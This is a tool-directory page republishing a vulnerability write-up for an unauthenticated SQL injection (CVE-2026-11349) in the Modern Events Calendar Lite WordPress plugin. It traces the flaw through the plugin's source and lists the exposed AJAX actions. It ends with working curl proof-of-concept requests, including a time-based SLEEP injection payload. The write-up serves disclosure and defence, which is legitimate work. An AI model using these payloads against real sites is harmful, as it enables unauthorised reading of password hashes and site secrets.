Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection | Kitploit
Tools/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection

View Repository
1214 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection via mec_list_load_more (atts[include] / atts[exclude])

Summary

DetailValue
PluginModern Events Calendar Lite
Slugmodern-events-calendar-lite
AuthorWebnus
Affected<= 7.33.0 (the current vendor-distributed Lite release). Bug present across the entire post-w.org range; lab-confirmed on 6.5.6 and 7.33.0, statically confirmed in 5.21.2. 6.5.6 = last wordpress.org build (frozen at the 2022-05-11 closure); 7.33.0 = current build distributed from mec.webnus.net
Active installswordpress.org count hidden since closure; historically 100,000+. Still actively distributed/updated by the vendor (Lite via mec.webnus.net; the same 7.x codebase underlies the actively-sold MEC Pro)
CWECWE-89 (SQL Injection)
VulnerabilityUnauthenticated blind SQL injection (time-based / boolean / error-based)
Privilege requiredNone (wp_ajax_nopriv_* — pre-auth)
User interactionNone
CVSS v3.17.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StatusLab-verified end-to-end on 7.33.0 (current) and 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Description

Modern Events Calendar Lite registers a family of unauthenticated admin-ajax.php "load more" actions for its event-list skins (list, grid, masonry, agenda, timeline, tile, custom). Each handler reads the attacker-controlled atts request array, passes it through a helper named sanitize_deep_array() that — when called with its default arguments — performs no sanitization at all — and then concatenates the atts['include'] (and atts['exclude']) values raw into a post_id IN (...) SQL fragment that is executed with $wpdb->get_results() and no $wpdb->prepare().

Because the entry points are registered on wp_ajax_nopriv_*, no authentication, account, nonce, or user interaction is required. An unauthenticated remote attacker can inject arbitrary SQL into the WHERE clause of a SELECT against wp_mec_dates and read any data in the WordPress database (user password hashes, wp_options secrets/keys, other plugins' data) via blind time-based / boolean / error-based techniques.


Root cause

1. A "sanitizer" that sanitizes nothing on the default path

app/libraries/main.php:9607:

public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

The guard (is_array($excludes) and !count($excludes)) makes the function a complete no-op when $excludes is the default empty array — every value is copied through verbatim. The intent was evidently "if there is an exclude-list, skip those keys"; the boolean logic instead skips everything whenever no exclude-list is supplied.

2. The caller supplies no $excludes

app/skins/list.php:499-501 (load_more()):

$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) is called with a single argument → $excludes defaults to array() → the no-op branch above → $atts is the raw, untrusted $_REQUEST['atts'].

3. Raw concatenation into the IN (...) clause

app/libraries/skins.php:

// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

The array elements are implode()d directly into the SQL string with no integer cast and no escaping. (absint()/(int) on each element would have closed this.)

4. Execution with no prepared statement

app/libraries/db.php:79:

public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

The fully-built string is handed to $wpdb->get_results() verbatim.

Taint flow (request → sink):

$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

Reachability

app/skins/list.php:51-52:

$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

The nopriv registration makes the endpoint reachable pre-authentication. The same load_more() shape and the shared skins.php query builder are present in the sibling skins, each with its own wp_ajax_nopriv_* action, so the same injection is reachable through any of:

AJAX action (nopriv)Skin handler
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

No nonce is checked in load_more(), and the action does not require any plugin shortcode to be present on a page — the AJAX handlers are registered unconditionally at init.


Proof of Concept (lab-verified, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

All requests are unauthenticated (no cookie, no nonce). The injected value is placed in atts[include][]; the payload closes the two open parentheses of the IN ((...) AND (... IN ( group and appends a top-level OR <sleep> so the condition is evaluated for every scanned row, then comments out the trailing )) ORDER BY ...:

TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed
Download Tool